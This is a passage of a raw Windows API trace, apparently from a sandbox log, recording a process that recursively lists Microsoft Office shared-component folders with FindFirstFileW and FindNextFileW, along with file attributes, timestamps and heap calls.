lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6439c09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf91acb76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf937677a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8a13295, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8c4f5e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27d1f57e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f02d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CMigrate.exe", cAlternateFileName="")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46e460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0233.694] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0233.694] GetProcessHeap () returned 0xc10000 [0233.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0233.881] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.881] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0233.882] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0233.883] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0233.885] GetProcessHeap () returned 0xc10000 [0233.885] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.885] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0233.885] GetProcessHeap () returned 0xc10000 [0233.886] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0233.893] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.893] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1 [0233.893] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 0 [0233.893] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0233.893] GetProcessHeap () returned 0xc10000 [0233.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.893] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda54c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d2060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0147f8e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0147f8e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf016e209, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO40UIRES.DLL", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x632fb8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7112c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso40UIwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x286f50d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x921260, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO99LRES.DLL", cAlternateFileName="MSO99L~1.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2878da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x591a60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso99Lwin32client.dll", cAlternateFileName="MSO99L~2.DLL")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a82fe42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e3e8c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0233.894] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x115c78, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7642a1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7642a1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29aa07ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2b4d876, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc289be7e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="oregres.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0233.895] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0233.896] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0233.896] GetProcessHeap () returned 0xc10000 [0233.896] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.896] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0233.896] GetProcessHeap () returned 0xc10000 [0233.896] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0234.379] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.379] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0234.379] GetProcessHeap () returned 0xc10000 [0234.379] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0234.379] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, 